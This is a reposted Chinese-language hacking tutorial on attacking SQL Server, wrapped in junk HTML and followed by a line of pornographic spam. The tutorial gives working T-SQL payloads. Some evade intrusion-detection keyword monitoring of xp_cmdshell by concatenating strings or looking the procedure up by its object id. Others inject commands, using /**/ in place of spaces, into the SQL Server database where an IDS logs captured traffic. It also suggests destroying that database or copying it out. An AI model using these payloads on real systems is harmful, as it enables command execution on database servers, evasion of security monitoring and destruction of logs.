• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • SQL Server數據庫的一些攻擊(4)

    發表于:2007-05-25來源:作者:點擊數: 標簽:
    利用t- sql 騙過ids或攻擊ids 現在的ids已經變得越來越聰明了 有的ids加入了xp_cmdshell sp_addlogin 的監視 。 但是畢竟人工智能沒有出現的今天,這種監視總是有種騙人的感覺 先說說欺騙ids: ids既然監視xp_cmdshell關鍵字,那么我們可以這么做 declare @a




    利用t-sql騙過ids或攻擊ids
    現在的ids已經變得越來越聰明了
    有的ids加入了xp_cmdshell sp_addlogin 的監視 。
    但是畢竟人工智能沒有出現的今天,這種監視總是有種騙人的感覺
    先說說欺騙ids:
    ids既然監視xp_cmdshell關鍵字,那么我們可以這么做
    declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c:\'
    這個代碼相信大家都能看明白,還有xp_cmdshell作為一個store procedure在master庫內有一個id號,固定的,我們也可以這么做
    假設這個id=988456
    declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'
    當然也可以
    declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a 'dir c:\'
    這種做法排列組合,ids根本不可能做的到完全監視
    同理,sp_addlogin也可以這么做
    再說說攻擊ids:
    因為ids數據量很大,日至通常備份到常規數據庫,比如sql server
    如果用古老的recordset.addnew做法,會嚴重影響ids的性能,因為通過ado做t-sql請求,不但效率高,而且有一部分工作可以交給sql server 去做
    通常程序會這么寫ues ('日至內容',…)
    那么我么想想看,如果用
    temp') exec xp_cmdshell 'dir c:\' --
    提交后會變成
    insert table values ('日至內容'….'temp') exec xp_cmdshell 'dir c:\' -- ')
    這樣,xp_cmdshell就可以在ids的數據庫運行了 :)
    當然ids是一個嗅嘆器,他會抓所有的報,而瀏覽器提交的時候會把空格變成%20
    因此,%20會被提交到sql server,這樣你的命令就無法執行了
    唯一的辦法就是
    insert/**/table/**/values('日至內容'….'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')
    用/**/代替空格做間隔符,這樣你的t-sql才能在ids的數據庫內執行
    當然也可以用其他語句,可以破壞,備份ids的數據庫到你的共享目錄
    呵呵
    其實這種方法的原理和攻擊asp是一樣的,只是把空格變成了/**/
    本來asp是select語句,那么用'就可以屏蔽
    現在ids用insert語句,那么用')屏蔽
    好了,其他很多新的入侵語句大家可以自己慢慢想,最好的測試工具就是query analyzer了。

    原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>